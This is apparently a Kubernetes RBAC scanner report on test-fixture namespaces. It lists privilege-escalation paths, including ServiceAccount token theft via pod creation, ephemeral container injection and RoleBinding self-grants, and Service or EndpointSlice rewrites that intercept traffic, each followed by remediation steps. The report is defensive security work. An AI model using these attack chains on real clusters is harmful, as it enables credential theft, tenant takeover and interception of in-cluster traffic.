A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-pod-create-escape (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-ephemeral ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-pod-create via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/deepchain-tenant/deepchain-binder ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/deepchain-tenant/deepchain-binder, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  6. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside deepchain-tenant. They read every Secret and ConfigMap in deepchain-tenant, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 4 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside deepchain-tenant: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/deepchain-tenant/deepchain-binder → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:privesc-fixtures:sa-pod-create-escape (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/deepchain-tenant/deepchain-binder → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in deepchain-tenant granting RBAC writes: kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in deepchain-tenant whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Namespace 6.2
ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach namespace-admin in `rbac-ns-fixtures` in 4 hop(s)
Scope · Namespace Source ServiceAccount/privesc-fixtures/sa-pod-create-escape → namespace-admin in rbac-ns-fixtures: every workload, Secret, and ConfigMap inside rbac-ns-fixtures becomes attacker-controlled
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape Resource: Namespace/rbac-ns-fixtures/rbac-ns-fixtures

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a privesc path that ends at namespace-admin inside rbac-ns-fixtures. The chain leans on a namespace-scoped RBAC primitive — typically create rolebindings (KUBE-PRIVESC-010) or bind/escalate roles (KUBE-PRIVESC-009) granted by a RoleBinding — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside rbac-ns-fixtures but, importantly, it does not by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
2. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
4. ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → / via modify_role_binding (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the bind verb that satisfies RBAC escalation prevention

Namespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as "safe because bounded".

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-create-escape yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-pod-create-escape (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-ephemeral ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-pod-create via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker writes a RoleBinding that grants them a high-privilege role, typically cluster-admin. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the bind verb on the target role (create/update rolebindings + bind (cluster)roles), which is the documented carve-out from it.
  6. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape → ServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 4 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  4. Step 4 of 4 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:privesc-fixtures:sa-pod-create-escape (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create/update rolebindings + bind (cluster)roles capability that enables hop 4 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → /)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH

Subjects can intercept in-cluster Service traffic in 1 hop(s)

KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT 13 subjects Score 7.4–6.2
MITRE ATT&CK: T1557T1040T1078.004

Affected subjects (13)

HIGH ServiceAccount/hookbackend-fixtures/hookbackend-operator Cluster 7.4
ServiceAccount/hookbackend-fixtures/hookbackend-operator can intercept in-cluster Service traffic in 1 hop(s)
Scope · Cluster Source ServiceAccount/hookbackend-fixtures/hookbackend-operator → Service traffic interception
Category: Lateral Movement Subject: ServiceAccount/hookbackend-fixtures/hookbackend-operator

Subject ServiceAccount/hookbackend-fixtures/hookbackend-operator has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's podIP, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via service_backend_rewrite (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses

What this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: hard when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, moderate when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.

Impact Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/hookbackend-fixtures/hookbackend-operator.
  2. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker rewrites a Service's spec (get,list,patch services): its selector, so it points at pods the attacker controls, its ports, or its type (an ExternalName sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.
  3. Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in Authorization headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side.
  1. Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
Remediation
Remove write access to pods/status (and to endpointslices, endpoints, and services) from identities that are not the kubelet or a core controller, then break the chain at: remove the permission get,list,patch services that enables the first hop (ServiceAccount/hookbackend-fixtures/hookbackend-operator → /).
  1. Break the chain at: remove the permission get,list,patch services that enables the first hop (ServiceAccount/hookbackend-fixtures/hookbackend-operator → /).
  2. Audit who can write pod status: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "pods/status") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:node and a handful of system:controller:* roles, nothing bound to a workload.
  3. Alert on pods/status writes from identities that are not system:node:*: the audit event's user.username and objectRef.subresource fields identify them directly.
  4. For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.
  5. Avoid publishNotReadyAddresses: true on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects.
HIGH ServiceAccount/hookbackend-fixtures/hookbackend-slicer Cluster 7.4
ServiceAccount/hookbackend-fixtures/hookbackend-slicer can intercept in-cluster Service traffic in 1 hop(s)
Scope · Cluster Source ServiceAccount/hookbackend-fixtures/hookbackend-slicer → Service traffic interception
Category: Lateral Movement Subject: ServiceAccount/hookbackend-fixtures/hookbackend-slicer

Subject ServiceAccount/hookbackend-fixtures/hookbackend-slicer has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's podIP, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.

The chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/hookbackend-fixtures/hookbackend-slicer → / via endpointslice_write (get,list,create endpointslices): can add or rewrite EndpointSlices for Services in hookbackend-fixtures, steering their traffic to addresses it chooses

What this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: hard when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, moderate when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.

Impact Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/hookbackend-fixtures/hookbackend-slicer.
  2. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-slicer, the attacker writes EndpointSlices (get,list,create endpointslices) for a Service. kube-proxy consumes every slice that carries the Service's kubernetes.io/service-name label, whatever its managed-by label says, and the EndpointSlice controller reconciles only the slices it manages, so a slice the attacker adds survives and receives its share of the Service's traffic. Clients resolve the Service name as before, and part of their connections reach the attacker.
  3. Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in Authorization headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side.
  1. EndpointSlice write: Service traffic steering endpointslice_write

    A Service's backends are the EndpointSlices that carry its kubernetes.io/service-name label. kube-proxy consumes every such slice whatever its managed-by label says, and the EndpointSlice controller reconciles only the slices it manages itself. A slice an attacker creates therefore survives and takes its share of the Service's traffic.

    Clients resolve the Service name as before, and part of their connections reach addresses the attacker chose. Outside kube-controller-manager and a few service meshes, nothing needs this verb.

    From ServiceAccount/hookbackend-fixtures/hookbackend-slicer
    Permission granted get,list,create endpointslices
    Gives the attacker can add or rewrite EndpointSlices for Services in hookbackend-fixtures, steering their traffic to addresses it chooses
Remediation
Remove write access to pods/status (and to endpointslices, endpoints, and services) from identities that are not the kubelet or a core controller, then break the chain at: remove the permission get,list,create endpointslices that enables the first hop (ServiceAccount/hookbackend-fixtures/hookbackend-slicer → /).
  1. Break the chain at: remove the permission get,list,create endpointslices that enables the first hop (ServiceAccount/hookbackend-fixtures/hookbackend-slicer → /).
  2. Audit who can write pod status: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "pods/status") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:node and a handful of system:controller:* roles, nothing bound to a workload.
  3. Alert on pods/status writes from identities that are not system:node:*: the audit event's user.username and objectRef.subresource fields identify them directly.
  4. For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.
  5. Avoid publishNotReadyAddresses: true on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects.
HIGH ServiceAccount/rbac-fixtures/sa-token-create Cluster 7.2
ServiceAccount/rbac-fixtures/sa-token-create can intercept in-cluster Service traffic in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-token-create → Service traffic interception
Category: Lateral Movement Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's podIP, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount hookbackend-fixtures/hookbackend-operator
2. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via service_backend_rewrite (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses

What this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: hard when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, moderate when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.

Impact Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-token-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/hookbackend-fixtures/hookbackend-operator. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker rewrites a Service's spec (get,list,patch services): its selector, so it points at pods the attacker controls, its ports, or its type (an ExternalName sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.
  4. Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in Authorization headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount hookbackend-fixtures/hookbackend-operator
  2. Step 2 of 2 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
Remediation
Remove write access to pods/status (and to endpointslices, endpoints, and services) from identities that are not the kubelet or a core controller, then break the chain at: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  1. Break the chain at: remove the permission create serviceaccounts/token that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  2. Audit who can write pod status: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "pods/status") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:node and a handful of system:controller:* roles, nothing bound to a workload.
  3. Alert on pods/status writes from identities that are not system:node:*: the audit event's user.username and objectRef.subresource fields identify them directly.
  4. For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.
  5. Avoid publishNotReadyAddresses: true on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects.
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Cluster 7.0
ServiceAccount/rbac-fixtures/sa-pod-create can intercept in-cluster Service traffic in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-pod-create → Service traffic interception
Category: Lateral Movement Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's podIP, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator via pod_create_token_theft (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
2. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via service_backend_rewrite (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses

